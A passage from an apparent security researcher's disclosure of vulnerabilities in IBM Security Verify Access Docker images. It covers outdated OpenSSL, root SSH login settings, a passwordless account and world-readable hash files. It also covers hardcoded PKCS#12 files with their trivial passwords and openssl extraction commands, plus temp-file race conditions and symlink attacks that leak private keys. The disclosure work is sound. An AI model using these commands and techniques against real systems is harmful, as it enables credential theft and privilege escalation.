[isam@verify-access /]$ ls -la /tmp/pwned-root
-rw-r--r-- 1 root root 0 Oct 13 22:21 /tmp/pwned-root
[isam@verify-access /]$
The sub_410330 function will execv() telnet through the MesaSpawn function:
[please use the HTML version at https://pierrekim.github.io/blog/2024-11-01-ibm-security-verify-access-32-vulnerabilities.html]
Details - Outdated OpenSSL
It was observed that all the official IBM Docker images (ibmcom/verify-access-runtime, ibmcom/verify-access-wrp, ibmcom/verify-access and ibmcom/verify-access-dsc) contain the outdated OpenSSL package openssl-1.1.1k-6.el8_5.x86_64. This package contains several vulnerabilities that were patched in August 2022.
At the time of the analysis (28 October 2022), these vulnerabilities were patched by Red Hat but the official IBM Docker images were still vulnerable.
Analysis of the libssl.so.1.1.1k files found in the 4 Docker images:
kali-docker# sha256sum **/libssl.so.1.1.1k
2a92ce36e25daa330efd6f68bdd3116968a721218e446f2d5c1f73e3404acf10 _verify-access-dsc.tar/1ca1ca276c7e33ace0fc60a47ce408d95c591a7b5d68a12688d24578c82cadff/usr/lib64/libssl.so.1.1.1k
2a92ce36e25daa330efd6f68bdd3116968a721218e446f2d5c1f73e3404acf10 _verify-access-runtime.tar/1ca1ca276c7e33ace0fc60a47ce408d95c591a7b5d68a12688d24578c82cadff/usr/lib64/libssl.so.1.1.1k
2a92ce36e25daa330efd6f68bdd3116968a721218e446f2d5c1f73e3404acf10 _verify-access.tar/fc59d355e611a66e66497ba02cb950853718131f53c526f83d59de4cacd888f3/usr/lib64/libssl.so.1.1.1k
2a92ce36e25daa330efd6f68bdd3116968a721218e446f2d5c1f73e3404acf10 _verify-access-wrp.tar/1ca1ca276c7e33ace0fc60a47ce408d95c591a7b5d68a12688d24578c82cadff/usr/lib64/libssl.so.1.1.1k
kali-docker# strings ./_verify-access.tar/fc59d355e611a66e66497ba02cb950853718131f53c526f83d59de4cacd888f3/usr/lib64/libssl.so.1.1.1k|grep 1.1.1
OPENSSL_1_1_1
OPENSSL_1_1_1a
OpenSSL 1.1.1k FIPS 25 Mar 2021
libssl.so.1.1.1k-1.1.1k-6.el8_5.x86_64.debug
We can confirm the OpenSSL version is provided by the package libssl.so.1.1.1k-1.1.1k-6.el8_5.x86_64.
The security announcement from Redhat patching vulnerabilities in the version libssl.so.1.1.1k-1.1.1k-6.el8_5.x86_64 is RHSA-2022:5818-01 (https://access.redhat.com/errata/RHSA-2022:5818).
The packages patching the vulnerabilities are:
-
- openssl-1.1.1k-7.el8_6.x86_64.rpm
-
- openssl-debuginfo-1.1.1k-7.el8_6.i686.rpm
-
- [...]
With access to live systems, we can confirm that the patches have not been applied and the systems are still vulnerable:
[root@container-01]# podman ps
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
413823e2f7d1 ibmcom/verify-access/10.0.4.0:20220926.6 4 hours ago Up 4 hours ago (healthy) 0.0.0.0:7443->9443/tcp verify-access
a2142514d831 ibmcom/verify-access-runtime/10.0.4.0:20220926.6 4 hours ago Up 4 hours ago (healthy) 0.0.0.0:9443->9443/tcp verify-access-runtime
e0c55b6440cf ibmcom/verify-access-dsc/10.0.4.0:20220926.6 4 hours ago Up 4 hours ago (healthy) 0.0.0.0:8443-8444->8443-8444/tcp verify-access-dsc
[root@container-01]# for i in 413823e2f7d1 a2142514d831 e0c55b6440cf; do podman exec -it $i bash -c 'rpm -qa|grep -i openssl';echo;done
openssl-1.1.1k-6.el8_5.x86_64
openssl-libs-1.1.1k-6.el8_5.x86_64
apr-util-openssl-1.6.1-6.el8.x86_64
openssl-libs-1.1.1k-6.el8_5.x86_64
openssl-libs-1.1.1k-6.el8_5.x86_64
openssl-1.1.1k-6.el8_5.x86_64
The official Docker images contain known vulnerabilities.
Details - PermitRootLogin set to yes
It was observed that the configuration file /etc/sysconfig/sshd-permitrootlogin will allow the connection from root in the Docker images:
kali-docker# find . | grep sshd-permitrootlogin
./_verify-access.tar/fc59d355e611a66e66497ba02cb950853718131f53c526f83d59de4cacd888f3/etc/sysconfig/sshd-permitrootlogin
./_verify-access-dsc.tar/1ca1ca276c7e33ace0fc60a47ce408d95c591a7b5d68a12688d24578c82cadff/etc/sysconfig/sshd-permitrootlogin
./_verify-access-runtime.tar/1ca1ca276c7e33ace0fc60a47ce408d95c591a7b5d68a12688d24578c82cadff/etc/sysconfig/sshd-permitrootlogin
./_verify-access-wrp.tar/1ca1ca276c7e33ace0fc60a47ce408d95c591a7b5d68a12688d24578c82cadff/etc/sysconfig/sshd-permitrootlogin
kali-docker# cat */*/etc/sysconfig/sshd-permitrootlogin
# This file has been generated by the Anaconda Installer.
# Allow root to log in using ssh. Remove this file to opt-out.
PERMITROOTLOGIN="-oPermitRootLogin=yes"
# This file has been generated by the Anaconda Installer.
# Allow root to log in using ssh. Remove this file to opt-out.
PERMITROOTLOGIN="-oPermitRootLogin=yes"
# This file has been generated by the Anaconda Installer.
# Allow root to log in using ssh. Remove this file to opt-out.
PERMITROOTLOGIN="-oPermitRootLogin=yes"
# This file has been generated by the Anaconda Installer.
# Allow root to log in using ssh. Remove this file to opt-out.
PERMITROOTLOGIN="-oPermitRootLogin=yes"
If a SSH server was installed inside the instances, it would be then possible to login as root.
Details - Lack of password for the cluster user
It was observed that the cluster user in the Docker image verify-access does not have a password defined in the /etc/shadow file:
kali-docker# cat _verify-access.tar/5b72d1a82f5781ef06f5e70155709ab81a57f364644acfa66c0de53e025d4d6b/etc/passwd | grep cluster
cluster:x:5003:1006::/home/cluster:/usr/sbin/wga_clustersh
kali-docker# cat _verify-access.tar/5b72d1a82f5781ef06f5e70155709ab81a57f364644acfa66c0de53e025d4d6b/etc/shadow | grep cluster
cluster::19151:0:99999:7:::
kali-docker# john --show _verify-access.tar/5b72d1a82f5781ef06f5e70155709ab81a57f364644acfa66c0de53e025d4d6b/etc/shadow
admin:admin:19151:0:99999:7:::
cluster:NO PASSWORD:19151:0:99999:7:::
2 password hashes cracked, 0 left
In the live environment, it was confirmed that the user cluster does not have a password in the verify-access instance:
[root@test-server 5ecd09e2d7bb10f3bec5b6be4c2298d6bdb54b70a75ce67944651b6b5330821e]# cat ./merged/etc/shadow | grep cluster
cluster::19151:0:99999:7:::
If a SSH server was installed inside the instances, it would be then possible to login as cluster without a password.
A user with a local access can get cluster privileges.
Details - Non-standard way of storing hashes and world-readable files containing hashes
It was observed that passwords are saved in 3 non-standard files in the Docker image verify-access:
-
/etc/shadow.isam
-
/etc/admin.pwd
-
/etc/wga_notifications.conf
Furthermore, the /etc/shadow.isam and /etc/wga_notifications.conf files are world-readable.
When extracting verify-access, we can find the /etc/shadow.isam file:
kali-docker# cat ./698cf9c0c7bb644159c92ba42d86417dd09694093db2eaf8875885e5ddd62fcc/etc/shadow.isam
admin:$6$weihWRw2JbThkJd0$t.Q3XdwZw/KYTCa35T3w/otmRG4R7jlrVguBt8BrR4bEUbf5/OHJrifnpJg.p2WBOPM43gj6IGb2ZNyzDjbeS.:19151:0:99999:7:::
www-data:*:14251:0:99999:7:::
ivmgr:!!:19151:0:99999:7:::
cluster::19151:0:99999:7:::
pgresql:!!:19151:0:99999:7:::
nfast:!!:19151:0:99999:7:::
tivoli:!!:19151:0:99999:7:::
When checking on the live system (verify-access), we can find these 3 previous files, 2 of which are world-readable:
[root@container-01]# podman ps | grep 413823e2f7d1
413823e2f7d1 ibmcom/verify-access/10.0.4.0:20220926.6 7 hours ago Up 7 hours ago (healthy) 0.0.0.0:7443->9443/tcp verify-access
[root@container-01]#
[root@container-01]# podman ps|grep 413823e2f7d1
413823e2f7d1 ibmcom/verify-access/verify-access/10.0.4.0:20220926.6 25 hours ago Up 25 hours ago (healthy) 0.0.0.0:7443->9443/tcp verify-access
[root@container-01]# podman exec -it 413823e2f7d1 ls -la /etc/wga_notifications.conf /etc/shadow.isam /etc/admin.pwd
-rw-rw---- 1 root root 344 Sep 26 15:31 /etc/admin.pwd
-rw-r--r-- 1 root root 305 Jun 8 13:43 /etc/shadow.isam
-rw-rw-r-- 1 root root 883 Sep 26 15:40 /etc/wga_notifications.conf
[root@container-01]#
Furthermore, we can extract passwords from these files. The hash in /etc/shadow.isam seems to be hardcoded (admin):
[root@container-01]# podman exec -it 413823e2f7d1 cat /etc/shadow.isam
admin:$6$weihWRw2JbThkJd0$t.Q3XdwZw/KYTCa35T3w/otmRG4R7jlrVguBt8BrR4bEUbf5/OHJrifnpJg.p2WBOPM43gj6IGb2ZNyzDjbeS.:19151:0:99999:7:::
www-data:*:14251:0:99999:7:::
ivmgr:!!:19151:0:99999:7:::
cluster::19151:0:99999:7:::
pgresql:!!:19151:0:99999:7:::
nfast:!!:19151:0:99999:7:::
tivoli:!!:19151:0:99999:7:::
[root@container-01]# podman exec -it 413823e2f7d1 ls -la /etc/admin.pwd
-rw-rw---- 1 root root 344 Sep 26 15:31 /etc/admin.pwd
[root@container-01]# podman exec -it 413823e2f7d1 cat /etc/admin.pwd
[REDACTED]
[root@container-01]# podman exec -it 413823e2f7d1 ls -la /etc/wga_notifications.conf
-rw-rw-r-- 1 root root 883 Sep 26 15:40 /etc/wga_notifications.conf
[root@container-01]# podman exec -it 413823e2f7d1 cat /etc/wga_notifications.conf
[...]
sam_cluster.hvdb.driver_type = thin
isam_cluster.hvdb.embedded = false
isam_cluster.hvdb.port = 1536
isam_cluster.hvdb.pwd = [REDACTED]
isam_cluster.hvdb.secure = false
[...]
A local attacker can extract hashes from world-readable files and elevate its privileges.
The use of /etc/shadow.isam is unknown.
Details - Hardcoded PKCS#12 files
It was observed the Docker image verify-access contains hardcoded PKCS#12 files:
-
- /var/isam/cluster/sundry/odbc/ewallet.p12
-
- /var/pdweb/shared/keytab/lmi_trust_store.p12
-
- /var/pdweb/shared/keytab/embedded_ldap_keys.p12
-
- /var/pdweb/shared/keytab/rt_profile_keys.p12
The /var/isam/cluster/sundry/odbc/ewallet.p12 file can be found inside the verify-access image:
kali-docker# ls -la ./_verify-access.tar/698cf9c0c7bb644159c92ba42d86417dd09694093db2eaf8875885e5ddd62fcc/var/isam/cluster/sundry/odbc/ewallet.p12
-rw-r--r-- 1 5000 5000 736 Jun 8 01:32 ./_verify-access.tar/698cf9c0c7bb644159c92ba42d86417dd09694093db2eaf8875885e5ddd62fcc/var/isam/cluster/sundry/odbc/ewallet.p12
kali-docker# sha256sum ./_verify-access.tar/698cf9c0c7bb644159c92ba42d86417dd09694093db2eaf8875885e5ddd62fcc/var/isam/cluster/sundry/odbc/ewallet.p12
687614048adb7877b7405a1d7f50c3717d832e0f1c822793507b99666d13acd5 ./_verify-access.tar/698cf9c0c7bb644159c92ba42d86417dd09694093db2eaf8875885e5ddd62fcc/var/isam/cluster/sundry/odbc/ewallet.p12
When checking on the live system (verify-access), we can find this unchanged file:
[root@container-01]# podman ps | grep 413823e2f7d1
413823e2f7d1 ibmcom/verify-access/10.0.4.0:20220926.6 26 hours ago Up 26 hours ago (healthy) 0.0.0.0:7443->9443/tcp verify-access
[root@container-01]# podman exec -it 413823e2f7d1 ls -la /var/isam/cluster/sundry/odbc/
total 16
drwxr-xr-x 2 www-data www-data 4096 Jun 8 13:43 .
drwxr-xr-x 3 cluster cluster 4096 Jun 8 13:43 ..
-rw-r--r-- 1 www-data www-data 781 Jun 8 13:32 cwallet.sso
-rw-r--r-- 1 www-data www-data 0 Jun 8 13:32 cwallet.sso.lck
-rw-r--r-- 1 www-data www-data 736 Jun 8 13:32 ewallet.p12
-rw-r--r-- 1 www-data www-data 0 Jun 8 13:32 ewallet.p12.lck
[root@container-01]# podman exec -it 413823e2f7d1 sha256sum /var/isam/cluster/sundry/odbc/ewallet.p12
687614048adb7877b7405a1d7f50c3717d832e0f1c822793507b99666d13acd5 /var/isam/cluster/sundry/odbc/ewallet.p12
[root@container-01]#
This file is used by several programs, with a trivial password (passw0rd) to encrypt it:
Assembly code of the function authorSqlFuseFiles found inside mesa_config, used to extract ewallet.p12:
[please use the HTML version at https://pierrekim.github.io/blog/2024-11-01-ibm-security-verify-access-32-vulnerabilities.html]
Extraction using OpenSSL:
kali-docker# openssl pkcs12 -in ibmcom/_verify-access.tar/698cf9c0c7bb644159c92ba42d86417dd09694093db2eaf8875885e5ddd62fcc/var/isam/cluster/sundry/odbc/ewallet.p12 -out /tmp/ewallet.test
Enter Import Password: [passw0rd]
kali-docker# cat /tmp/ewallet.test
Bag Attributes
localKeyID: E6 B6 52 DD 00 00 00 04 00 00 00 00 00 00 00 03 00 00 00 00 00 00 00 04
subject=C = us, O = ibm, CN = rhel66.home.com
issuer=C = us, O = ibm, CN = rhel66.home.com
-----BEGIN CERTIFICATE-----
MIIB2TCCAUICAQAwDQYJKoZIhvcNAQEEBQAwNTELMAkGA1UEBhMCdXMxDDAKBgNV
BAoTA2libTEYMBYGA1UEAxMPcmhlbDY2LmhvbWUuY29tMB4XDTE2MDYwNDE4MjAx
N1oXDTI2MDYwMjE4MjAxN1owNTELMAkGA1UEBhMCdXMxDDAKBgNVBAoTA2libTEY
MBYGA1UEAxMPcmhlbDY2LmhvbWUuY29tMIGfMA0GCSqGSIb3DQEBAQUAA4GNADCB
iQKBgQC5awQOrQ/BlLYQ1dC0+e2NplzULT447UNrj8yaPqH0FeoqgLH29FzpVJV1
IWzN06IGSUEeyAck7u7EUg1BK3eyfwO3o1qolrvRkm4Rsvg+yijUIr2aSV0Xz9oR
71C+YMHr1MtGi6Xn432+vPSc2AxQVBKCVj0rBGka6V9mwWDPewIDAQABMA0GCSqG
SIb3DQEBBAUAA4GBAF9QlpGUC9QcxgI0B77xY0/2bNd3xBfS+hTbgyyoWRzH43so
1VG97F6g0rR6wvsAOTdr7kJn+t7sMyuhdJ2/TmZFATUL+6j9XpJH+7r+Ca4iIMB+
ysi09PVz6ccrsgpD9SiYxQ4HMJ+YKBahPg3geEUIkratxB69qZy0uP5WSp64
-----END CERTIFICATE-----
kali-docker# openssl x509 -in /tmp/ewallet.test -text -noout
Certificate:
Data:
Version: 1 (0x0)
Serial Number: 0 (0x0)
Signature Algorithm: md5WithRSAEncryption
Issuer: C = us, O = ibm, CN = rhel66.home.com
Validity
Not Before: Jun 4 18:20:17 2016 GMT
Not After : Jun 2 18:20:17 2026 GMT
Subject: C = us, O = ibm, CN = rhel66.home.com
Subject Public Key Info:
Public Key Algorithm: rsaEncryption
Public-Key: (1024 bit)
Modulus:
00:b9:6b:04:0e:ad:0f:c1:94:b6:10:d5:d0:b4:f9:
ed:8d:a6:5c:d4:2d:3e:38:ed:43:6b:8f:cc:9a:3e:
a1:f4:15:ea:2a:80:b1:f6:f4:5c:e9:54:95:75:21:
6c:cd:d3:a2:06:49:41:1e:c8:07:24:ee:ee:c4:52:
0d:41:2b:77:b2:7f:03:b7:a3:5a:a8:96:bb:d1:92:
6e:11:b2:f8:3e:ca:28:d4:22:bd:9a:49:5d:17:cf:
da:11:ef:50:be:60:c1:eb:d4:cb:46:8b:a5:e7:e3:
7d:be:bc:f4:9c:d8:0c:50:54:12:82:56:3d:2b:04:
69:1a:e9:5f:66:c1:60:cf:7b
Exponent: 65537 (0x10001)
Signature Algorithm: md5WithRSAEncryption
Signature Value:
5f:50:96:91:94:0b:d4:1c:c6:02:34:07:be:f1:63:4f:f6:6c:
d7:77:c4:17:d2:fa:14:db:83:2c:a8:59:1c:c7:e3:7b:28:d5:
51:bd:ec:5e:a0:d2:b4:7a:c2:fb:00:39:37:6b:ee:42:67:fa:
de:ec:33:2b:a1:74:9d:bf:4e:66:45:01:35:0b:fb:a8:fd:5e:
92:47:fb:ba:fe:09:ae:22:20:c0:7e:ca:c8:b4:f4:f5:73:e9:
c7:2b:b2:0a:43:f5:28:98:c5:0e:07:30:9f:98:28:16:a1:3e:
0d:e0:78:45:08:92:b6:ad:c4:1e:bd:a9:9c:b4:b8:fe:56:4a:
9e:b8
The other files have been decrypted using IBM Crypto For C and OpenSSL.
The lmi_trust_store.p12 file in the verify-access image contains several CAs and will also include the hardcoded key for the Isam CA in a live instance (after configuration):
kali-docker# file=ibmcom/_verify-access.tar/698cf9c0c7bb644159c92ba42d86417dd09694093db2eaf8875885e5ddd62fcc/var/pdweb/shared/keytab/lmi_trust_store.p12
kali-docker# LD_LIBRARY_PATH=/home/user/ibmcom/_verify-access-dsc.tar/2367f4ea9084713497b97a1fdbd68e6b3845d86537a89f1d6217eb545e8a0865/usr/local/ibm/gsk8_64/lib64/ /home/user/ibmcom/_verify-access-dsc.tar/2367f4ea9084713497b97a1fdbd68e6b3845d86537a89f1d6217eb545e8a0865/usr/local/ibm/gsk8_64/bin/gsk8capicmd_64 -cert -export -db $file -stashed -target /tmp/tmp.p12 -target_pw passwordpassword
kali-docker# openssl pkcs12 -in /tmp/tmp.p12 -info -passin pass:passwordpassword
MAC: sha1, Iteration 1024
MAC length: 20, salt length: 8
PKCS7 Encrypted data: pbeWithSHA1And3-KeyTripleDES-CBC, Iteration 1024
Certificate bag
Bag Attributes
friendlyName: CN=DigiCert Global Root CA,OU=www.digicert.com,O=DigiCert Inc,C=US
localKeyID: 03 82 01 01 00 CB 9C 37 AA 48 13 12 0A FA DD 44 9C 4F 52 B0 F4 DF AE 04 F5 79 79 08 A3 24 18 FC 4B 2B 84 C0 2D B9 D5 C7 FE F4 C1 1F 58 CB B8 6D 9C 7A 74 E7 98 29 AB 11 B5 E3 70 A0 A1 CD 4C 88 99 93 8C 91 70 E2 AB 0F 1C BE 93 A9 FF 63 D5 E4 07 60 D3 A3 BF 9D 5B 09 F1 D5 8E E3 53 F4 8E 63 FA 3F A7 DB B4 66 DF 62 66 D6 D1 6E 41 8D F2 2D B5 EA 77 4A 9F 9D 58 E2 2B 59 C0 40 23 ED 2D 28 82 45 3E 79 54 92 26 98 E0 80 48 A8 37 EF F0 D6 79 60 16 DE AC E8 0E CD 6E AC 44 17 38 2F 49 DA E1 45 3E 2A B9 36 53 CF 3A 50 06 F7 2E E8 C4 57 49 6C 61 21 18 D5 04 AD 78 3C 2C 3A 80 6B A7 EB AF 15 14 E9 D8 89 C1 B9 38 6C E2 91 6C 8A FF 64 B9 77 25 57 30 C0 1B 24 A3 E1 DC E9 DF 47 7C B5 B4 24 08 05 30 EC 2D BD 0B BF 45 BF 50 B9 A9 F3 EB 98 01 12 AD C8 88 C6 98 34 5F 8D 0A 3C C6 E9 D5 95 95 6D DE
2.16.840.1.113894.746875.1.1: <Unsupported tag 6>
subject=C = US, O = DigiCert Inc, OU = www.digicert.com, CN = DigiCert Global Root CA
issuer=C = US, O = DigiCert Inc, OU = www.digicert.com, CN = DigiCert Global Root CA
-----BEGIN CERTIFICATE-----
MIIDrzCCApegAwIBAgIQCDvgVpBCRrGhdWrJWZHHSjANBgkqhkiG9w0BAQUFADBh
MQswCQYDVQQGEwJVUzEVMBMGA1UEChMMRGlnaUNlcnQgSW5jMRkwFwYDVQQLExB3
d3cuZGlnaWNlcnQuY29tMSAwHgYDVQQDExdEaWdpQ2VydCBHbG9iYWwgUm9vdCBD
QTAeFw0wNjExMTAwMDAwMDBaFw0zMTExMTAwMDAwMDBaMGExCzAJBgNVBAYTAlVT
MRUwEwYDVQQKEwxEaWdpQ2VydCBJbmMxGTAXBgNVBAsTEHd3dy5kaWdpY2VydC5j
b20xIDAeBgNVBAMTF0RpZ2lDZXJ0IEdsb2JhbCBSb290IENBMIIBIjANBgkqhkiG
9w0BAQEFAAOCAQ8AMIIBCgKCAQEA4jvhEXLeqKTTo1eqUKKPC3eQyaKl7hLOllsB
CSDMAZOnTjC3U/dDxGkAV53ijSLdhwZAAIEJzs4bg7/fzTtxRuLWZscFs3YnFo97
nh6Vfe63SKMI2tavegw5BmV/Sl0fvBf4q77uKNd0f3p4mVmFaG5cIzJLv07A6Fpt
43C/dxC//AH2hdmoRBBYMql1GNXRor5H4idq9Joz+EkIYIvUX7Q6hL+hqkpMfT7P
T19sdl6gSzeRntwi5m3OFBqOasv+zbMUZBfHWymeMr/y7vrTC0LUq7dBMtoM1O/4
gdW7jVg/tRvoSSiicNoxBN33shbyTApOB6jtSj1etX+jkMOvJwIDAQABo2MwYTAO
BgNVHQ8BAf8EBAMCAYYwDwYDVR0TAQH/BAUwAwEB/zAdBgNVHQ4EFgQUA95QNVbR
TLtm8KPiGxvDl7I90VUwHwYDVR0jBBgwFoAUA95QNVbRTLtm8KPiGxvDl7I90VUw
DQYJKoZIhvcNAQEFBQADggEBAMucN6pIExIK+t1EnE9SsPTfrgT1eXkIoyQY/Esr
hMAtudXH/vTBH1jLuG2cenTnmCmrEbXjcKChzUyImZOMkXDiqw8cvpOp/2PV5Adg
06O/nVsJ8dWO41P0jmP6P6fbtGbfYmbW0W5BjfIttep3Sp+dWOIrWcBAI+0tKIJF
PnlUkiaY4IBIqDfv8NZ5YBberOgOzW6sRBc4L0na4UU+Krk2U886UAb3LujEV0ls
YSEY1QSteDwsOoBrp+uvFRTp2InBuThs4pFsiv9kuXclVzDAGySj4dzp30d8tbQk
CAUw7C29C79Fv1C5qfPrmAESrciIxpg0X40KPMbp1ZWVbd4=
-----END CERTIFICATE-----
Certificate bag
Bag Attributes
friendlyName: CN=DigiCert ECC Secure Server CA,O=DigiCert Inc,C=US
[...]
When auditing live installations, the decrypted lmi_trust_store.p12 file will contain the private key of the isam CA.
kali% openssl x509 -in crt.pem -text -noout -modulus
Certificate:
Data:
Version: 3 (0x2)
Serial Number: 14004578023842938
Signature Algorithm: sha256WithRSAEncryption
Issuer: C = us, O = ibm, CN = isam
Validity
Not Before: Sep 19 07:01:51 2022 GMT
Not After : Sep 17 07:01:51 2032 GMT
Subject: C = us, O = ibm, CN = isam
[...]
Modulus=C8B3[REDACTED]
kali% openssl rsa -in crt.key -modulus
Enter pass phrase for crt.key:
Modulus=C8B3[REDACTED]
writing RSA key
-----BEGIN PRIVATE KEY-----
[REDACTED]
-----END PRIVATE KEY-----
It is also possible to decrypt the embedded_ldap_keys.p12 file:
kali-docker# openssl pkcs12 -in embedded_ldap_keys.p12 -info -passin pass:passwordpassword
MAC: sha1, Iteration 1024
MAC length: 20, salt length: 8
PKCS7 Data
Shrouded Keybag: pbeWithSHA1And3-KeyTripleDES-CBC, Iteration 5
Bag Attributes
friendlyName: server
localKeyID: [REDACTED]
Key Attributes: <No Attributes>
Enter PEM pass phrase: [password]
Verifying - Enter PEM pass phrase: [password]
-----BEGIN ENCRYPTED PRIVATE KEY-----
[REDACTED]
-----END ENCRYPTED PRIVATE KEY-----
PKCS7 Encrypted data: pbeWithSHA1And3-KeyTripleDES-CBC, Iteration 1024
Certificate bag
Bag Attributes
friendlyName: server
localKeyID: [REDACTED]
subject=C = us, O = ibm, CN = isam
issuer=C = us, O = ibm, CN = isam
-----BEGIN CERTIFICATE-----
[REDACTED]
-----END CERTIFICATE-----
kali-docker#
Using a dynamic analysis, it was confirmed that several private keys are included in the snapshot images and used at least by OpenLDAP. The .p12 files can be decrypted using IBM Crypto For C and OpenSSL.
kali-docker# pwd
/home/user/snapshots/_a22547c15c88-verify-access-runtime_10.0.4.0.tar-default.snapshot/var/pdweb/shared/keytab
kali-docker# ls -la
total 492
drwxr-x--- 2 root root 4096 Oct 18 05:13 .
drwxr-x--- 16 root root 4096 Sep 20 03:01 ..
-rw-r----- 1 root root 2952 Sep 20 03:01 embedded_ldap_keys.p12
-rw-r----- 1 root root 193 Jun 8 01:31 embedded_ldap_keys.sth
-rw-r----- 1 root root 47630 Sep 20 03:09 lmi_trust_store.p12
-rw-r----- 1 root root 193 Jun 8 01:31 lmi_trust_store.sth
-rw-r----- 1 root root 109313 Sep 20 03:17 rt_profile_keys.p12
-rw-r----- 1 root root 193 Jun 8 01:31 rt_profile_keys.sth
[...]
Details - Incorrect permissions in verify-access-dsc (race condition and leak of private key)
It was observed that the Docker image verify-access-dsc uses insecure temporary files to store sensitive information.
The /usr/sbin/bootstrap.sh script will generate temporary files using the default umask (022).
In the build_health_check_config() function found inside the /usr/sbin/bootstrap.sh script (executed when the instance starts), we can see that several files are generated:
-
- /tmp/health_check.p12
-
- /var/dsc/.health/port.txt
Content of /usr/sbin/bootstrap.sh:
[code:shell]
65 #############################################################################
66 # Construct the health check configuration information. This will include
67 # the port and client certificate information.
68
69 build_health_check_config()
70 {
71 if [ -z "$INSTANCE" ] ; then
72 INSTANCE=1
73 fi
74
75 conf=/var/dsc/etc/dsc.conf.${INSTANCE}
76
77 if [ ! -f ${conf} ] ; then
78 Echo 973 "${INSTANCE}"
79 exit 1
80 fi
81
82 #
83 # Determine the port which is to be used.
84 #
85
86 port=/opt/PolicyDirector/sbin/pdconf -f $conf getentry \
87 dsess-server ssl-listen-port
88
89 mkdir -p /var/dsc/.health
90
91 echo $port > /var/dsc/.health/port.txt
92
93 #
94 # Extract the client certificate which is used to communicate with the
95 # server.
96 #
97
98 cert_file=/var/dsc/.health/health_check.pem
99
100 tmp_p12=/tmp/health_check.p12
101 tmp_pwd=health_check
102
103 # Work out the name of the key file which is being used.
104 key_file=/opt/PolicyDirector/sbin/pdconf -f $conf getentry \
105 dsess-server ssl-keyfile
106
107 # Export the key into a key database type which is supported
108 # by OpenSSL.
109 gsk8capicmd_64 -cert -export -db $key_file -stashed \
110 -target $tmp_p12 -target_pw $tmp_pwd
111
112 # Convert the key into something that curl understands.
113 openssl pkcs12 -in $tmp_p12 -out $cert_file -nodes \
114 -passin pass:$tmp_pwd 2>/dev/null
115
116 # Tidy up.
117 rm -f $tmp_p12
118 }
119
[...]
176 #
177 # Extract the health check information.
178 #
179
180 build_health_check_config
[/code]
The temporary file /tmp/health_check.p12 contains the private keys of the dsc server and the dsc client. This key file is stored using the 644 permissions allowing any local attacker to extract these keys when the Docker image starts.
Furthermore, the password of the certificate file is hardcoded (to health_check, on line 101).
When checking the files generated by this script, we can confirm the files are world-readable. For example, for the /var/dsc/.health/port.txt file, the permissions are 644:
[isam@verify-access-dsc /]$ ls -la /var/dsc/.health/
total 28
drwxr-xr-x 2 isam isam 4096 Oct 4 09:07 .
drwxrwx--- 1 isam root 4096 Oct 4 09:07 ..
-rw------- 1 isam isam 9268 Oct 4 09:07 health_check.pem
-rw-r--r-- 1 isam isam 5 Oct 4 09:07 port.txt
[isam@verify-access-dsc /]$
There is a race condition in the /usr/sbin/bootstrap.sh script allowing a local attacker with access to the verify-access-dsc instance to extract the private keys of the dsc server and the dsc client when the Docker image starts.
The filename is predictable, allowing a local attacker to create the destination file before the script is executed. The content of the destination file will be overwritten by the /usr/sbin/health_check.sh script but the ownership of the file will still belong to an attacker, allowing extracting the private keys.
The password is hardcoded.
Insecure permissions are used for sensitive files.
Details - Insecure health_check.sh script in verify-access (race condition and leak of private key)
It was observed that the Docker image verify-access runs regularly the script /usr/sbin/health_check.sh.
This script uses a temporary file to store sensitive information. Since this script uses the default umask (022), an attacker can exploit a race condition (between the lines 91 and 95) to extract the private keys of the dsc server and the dsc clients.
The /tmp/health_check.pem output file will also be created containing the private keys in clear-text (in line 91), allowing an attacker to extract these private keys:
Content of /usr/sbin/health_check.sh:
[code:shell]
[...]
65 cert_file=/tmp/health_check.pem
66
67 trap "rm -f $result_file $error_file $hdr_file" EXIT
68
69 # The following function will extract a key which can be used to authenticate
70 # to the DSC.
71
72 extract_dsc_key()
73 {
74 if [ ! -f $cert_file ] ; then
75 tmp_p12=/tmp/health_check.p12.$$
76 tmp_pwd=health_check
77
78 # Work out the name of the DSC configuration file.
79 conf_file=mesa_config wga.ftype dir dsc.conf -production
80
81 # Work out the name of the key file which is being used.
82 key_file=/opt/PolicyDirector/sbin/pdconf -f $conf_file getentry \
83 dsess-server ssl-keyfile
84
85 # Export the key into a key database type which is supported
86 # by OpenSSL.
87 gsk8capicmd_64 -cert -export -db $key_file -stashed \
88 -target $tmp_p12 -target_pw $tmp_pwd
89
90 # Convert the key into something that curl understands.
91 openssl pkcs12 -in $tmp_p12 -out $cert_file -nodes \
92 -passin pass:$tmp_pwd 2>/dev/null
93
94 # Tidy up.
95 rm -f $tmp_p12
96 fi
97 }
[...]
[/code]
The file /tmp/health_check.p12.$$ ($$ corresponding to the local PID) will be generated with the password health_check and will contain the private keys of the dsc client and the dsc server. This file will be world-readable. Then the file will be erased.
There is a race condition in the /usr/sbin/health_check.sh script allowing a local attacker with access to the verify-access instance to extract the private keys of the dsc server and the dsc client.
The filename is predictable, allowing a local attacker to create potential destination files before the execution of the script. The content of the destination file will be overwritten by the /usr/sbin/health_check.sh script but the ownership of the file will still belong to an attacker, allowing extracting the private keys.
There is also a leak of private keys in the world-readable file /tmp/health_check.pem.
The password is hardcoded.
Insecure permissions are used for sensitive files.
Details - Local Privilege Escalation due to insecure health_check.sh script in verify-access (insecure SSL, insecure files)
It was observed that the Docker image verify-access regularly runs the script /usr/sbin/health_check.sh.
This script uses curl, without checking the remote SSL certificate:
Content of /usr/sbin/health_check.sh:
[code:shell] 190 # 191 # Make the curl request. 192 # 193 194 eval curl --insecure --output $result_file --silent --show-error \ 195 -D $hdr_file $extra_args https://127.0.0.1:$port 2> $error_file 196 [/code]
The eval instruction does not seem exploitable.
This script uses 2 temporary files to store the standard output (stdout) and the error output (stderr) of the curl command: an attacker can exploit these 2 temporary files to overwrite any file in the filesystem using pre-generated symbolic links inside /tmp:
Content of /usr/sbin/health_check.sh:
[code:shell] 62 result_file=/tmp/health_check.out.$$ 63 error_file=/tmp/health_check.err.$$ [...] 194 eval curl --insecure --output $result_file --silent --show-error \ 195 -D $hdr_file $extra_args https://127.0.0.1:$port 2> $error_file [/code]
The /tmp/health_check.out.$$ file ($$ corresponding to the local PID) can be a symbolic link generated by a local attacker - the content of the linked file will be overwritten as root.
The /tmp/health_check.err.$$ file ($$ corresponding to the local PID) can be a symbolic link generated by a local attacker - the content of the linked file will be overwritten as root.
The script trusts any insecure HTTPS server, due to the use of the --insecure flag in curl.
